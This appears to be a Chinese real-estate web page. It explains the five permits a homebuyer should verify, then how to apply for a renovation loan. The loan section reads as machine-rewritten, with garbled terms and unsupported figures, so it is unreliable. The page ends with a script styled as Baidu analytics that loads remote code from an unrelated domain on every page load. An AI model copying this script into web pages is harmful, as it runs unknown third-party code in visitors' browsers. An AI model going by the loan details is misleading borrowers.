建设用地规划许可证_买房必看“五证”

买房是每个人生活中的一件大事。为了避免买房过程中发生纠纷和维护自己的合法权益，购房者应该注意核查开发商的相关资质，开发和建设、销售过程是否合法，是否具有“五证”，有了这五种资质，购房行为才能受到法律的保护。买房为何要严把关买房是个技术活，要准备资金作为首付款和装修费，要选择合适地理位置，要考虑孩子将来上学和家人生病就医等生活便利性。许多人匆匆交了购房意向金，就准备办理购房贷款，就以为安心无忧，但是却遇上不良开发商，有的交房延期、一拖再拖，有的房屋质量出现问题，实际使用面积与合同中规定的不一致，甚至开发商卷钱跑路，辛苦攒的买房钱就这样打了水漂。因此，每个消费者都应该练就一双“火眼金睛”，避免购房各种问题和纠纷发生在自己身上。买房必看“五证”消费者购房必看“五证”——《国有土地使用证》、《建设用地规划许可证》、《商品房预售许可证》、《建设工程规划许可证》、《建设工程施工许可证》。目前来说，国家对于房屋土地开发、规划、建设都有严格的审批，五证齐全的房子都是经过合法的流程，经过政府审批的正常流程，在政府许可的情况下建造的，购买者拥有合法的权益。下面土巴兔小编来科普一下买房五证。一、国有土地使用证在中国土地属于国家所有，政府经过拍卖的形式，出让某一块土地的使用权，而土地使用证就是证明土地权利合法变更的依据，法律将保护使用者的权利。二、建设用地规划许可证为了保证建设行为符合城市规划的整体发展和设计，土地上的建设规划方案需要经过审批，没有经过审批的建筑物属于非法建筑，并且建设的房屋不允许销售。三、建设工程规划许可证建筑的施工单位需要经过市政规划单位的审批，是建设工程受到法律保护的依据。此外，建施工单位在建筑过程受到监督，如果发现有不合乎要求将会被拆除。四、建设工程施工许可证该证为施工单位达到施工标准的批准文件，表明通过审批，可以进行施工，将影响日后房屋产权证的办理。五、商品房预售许可证建筑房屋可以对外销售的凭证，它表明可以合法进行交易，也表明房屋的其他手续已经齐全。小编提醒，买房有时候不能贪便宜，许多便宜房常出现问题，同时，买房选择品牌开发商不仅可以保证工期，还可以保证质量。

装修贷款咋办理是许多人想要了解的问题

随着社会的不断发展，物价和房价也是不断上涨，给许多年轻人造成了不小的经历负担和压力。一家人好不容易攒出买房子的钱，装修房子的钱却成为了一些人心中的“大石头”。因为装修房子的钱也是一笔不小的数目。而装修贷款咋办理成为更多人解决这一难题的选择，装修贷款咋办理，只需要弄懂三个问题：一、装修贷款咋办理，途径是什么？二、装修贷款咋办理，如何处理？三、装修贷款咋办理，需要准备什么？装修贷款咋办理，途径是什么？1、银行贷款装修，对于银行的优质客户来说，个人信用贷款申请相比其他金融机构的信用贷款仍然是很划算的。银行消费贷款是指特许抵押贷款，即以房地产抵押、申请的消费贷款；2、信用卡分期，每家银行的信用卡中心都会有这种消费项目；3、当地公共存款中心进行装修贷款，当地公共存款中心的规定不一样，有的地方允许，有的不允许，贷款方式不一样，这需要具体咨询当地有关部门；消费者金融公司和一些专门从事互联网装饰贷款的金融机构提出申请。装饰阶段目前也很流行。因此，也有许多这样的机构，可以更仔细地挑选。房屋改善贷款有多种用途，如信用卡分期付款、信用贷款、按揭消费贷款等。你可以根据实际情况申请，如果你能提供其他抵押品，你将增加贷款金额。装修贷款咋办理，如何处理？现在，除了银行的消费贷款外，电子商务公司也推出了装修贷款，如果丈夫和妻子同时申请家庭单元，他们最多可获得40万。贷款额度，贷款期可分为12-60期。消费者通过pc或手机在线申请，并提供当地房地产证书、居民证明文件以及与维修公司的合同。他们可以到该消费金融公司的商店当场贷款，最快的10分钟就可以借出。这是比较快和方便的。然而，这一举措尚未在全国试点实施。装修贷款咋办理，需要准备什么？（一）填写个人家居装修贷款申请表。（二）提供有效证件及其副本（居民证明、户籍册和其他有效居留证件）。（三）房屋装修工程合同。（四）银行批准的经济收入证明。（五）房屋产权契据、房屋买卖合同、商品房预售合同。（六）抵押担保资料：抵押财产清单、所有权证明文件（产权所有人的承诺书）、抵押估价报告。（七）应当提供的其他信息。装修贷款咋办理是许多人想要知道的问题，通过了解上面关于装修贷款咋办理的三个问题之后，大家就可以尽快办理装修贷款，先与银行签订个人住房贷款贷款合同。银行批准后，资金将直接转入指定账户。这样，就可以用这笔钱装修属于自己的房子。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();